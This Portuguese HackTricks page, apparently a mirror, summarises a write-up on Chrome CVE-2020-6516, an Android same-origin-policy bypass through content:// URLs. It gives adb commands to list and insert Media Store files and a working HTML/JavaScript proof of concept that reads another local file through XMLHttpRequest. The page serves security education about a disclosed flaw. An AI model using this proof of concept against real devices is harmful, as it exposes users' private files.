mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
111 lines
6.2 KiB
Markdown
111 lines
6.2 KiB
Markdown
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
{% embed url="https://websec.nl/" %}
|
||
|
|
||
|
**Este é um resumo do post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||
|
|
||
|
### Listando Arquivos no Media Store
|
||
|
Para listar arquivos gerenciados pelo Media Store, o comando abaixo pode ser usado:
|
||
|
```bash
|
||
|
$ content query --uri content://media/external/file
|
||
|
```
|
||
|
Para uma saída mais amigável, exibindo apenas o identificador e o caminho de cada arquivo indexado:
|
||
|
```bash
|
||
|
$ content query --uri content://media/external/file --projection _id,_data
|
||
|
```
|
||
|
Os provedores de conteúdo estão isolados em seu próprio namespace privado. O acesso a um provedor requer o URI específico `content://`. Informações sobre os caminhos para acessar um provedor podem ser obtidas a partir de manifests de aplicativos ou do código-fonte do framework Android.
|
||
|
|
||
|
### Acesso do Chrome aos Provedores de Conteúdo
|
||
|
O Chrome no Android pode acessar provedores de conteúdo através do esquema `content://`, permitindo que acesse recursos como fotos ou documentos exportados por aplicativos de terceiros. Para ilustrar isso, um arquivo pode ser inserido no Media Store e, em seguida, acessado via Chrome:
|
||
|
|
||
|
Insira uma entrada personalizada no Media Store:
|
||
|
```bash
|
||
|
cd /sdcard
|
||
|
echo "Hello, world!" > test.txt
|
||
|
content insert --uri content://media/external/file \
|
||
|
--bind _data:s:/storage/emulated/0/test.txt \
|
||
|
--bind mime_type:s:text/plain
|
||
|
```
|
||
|
Descubra o identificador do arquivo recém-inserido:
|
||
|
```bash
|
||
|
content query --uri content://media/external/file \
|
||
|
--projection _id,_data | grep test.txt
|
||
|
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
||
|
```
|
||
|
O arquivo pode ser visualizado no Chrome usando uma URL construída com o identificador do arquivo.
|
||
|
|
||
|
Por exemplo, para listar arquivos relacionados a um aplicativo específico:
|
||
|
```bash
|
||
|
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
||
|
```
|
||
|
### Chrome CVE-2020-6516: Bypass da Política de Mesma Origem
|
||
|
|
||
|
A _Política de Mesma Origem_ (SOP) é um protocolo de segurança em navegadores que restringe páginas da web de interagir com recursos de origens diferentes, a menos que explicitamente permitido por uma política de Compartilhamento de Recursos de Origem Cruzada (CORS). Esta política visa prevenir vazamentos de informações e falsificação de requisições entre sites. O Chrome considera `content://` como um esquema local, implicando regras SOP mais rigorosas, onde cada URL de esquema local é tratada como uma origem separada.
|
||
|
|
||
|
No entanto, a CVE-2020-6516 foi uma vulnerabilidade no Chrome que permitiu um bypass das regras SOP para recursos carregados via uma URL `content://`. Na prática, o código JavaScript de uma URL `content://` poderia acessar outros recursos carregados via URLs `content://`, o que era uma preocupação significativa de segurança, especialmente em dispositivos Android que executavam versões anteriores ao Android 10, onde o armazenamento escopado não estava implementado.
|
||
|
|
||
|
A prova de conceito abaixo demonstra essa vulnerabilidade, onde um documento HTML, após ser carregado em **/sdcard** e adicionado ao Media Store, usa `XMLHttpRequest` em seu JavaScript para acessar e exibir o conteúdo de outro arquivo no Media Store, contornando as regras SOP.
|
||
|
|
||
|
Prova de Conceito HTML:
|
||
|
```xml
|
||
|
<html>
|
||
|
<head>
|
||
|
<title>PoC</title>
|
||
|
<script type="text/javascript">
|
||
|
function poc()
|
||
|
{
|
||
|
var xhr = new XMLHttpRequest();
|
||
|
|
||
|
xhr.onreadystatechange = function()
|
||
|
{
|
||
|
if(this.readyState == 4)
|
||
|
{
|
||
|
if(this.status == 200 || this.status == 0)
|
||
|
{
|
||
|
alert(xhr.response);
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
xhr.open("GET", "content://media/external/file/747");
|
||
|
xhr.send();
|
||
|
}
|
||
|
</script>
|
||
|
</head>
|
||
|
<body onload="poc()"></body>
|
||
|
</html>
|
||
|
```
|
||
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
{% embed url="https://websec.nl/" %}
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Supporte o HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|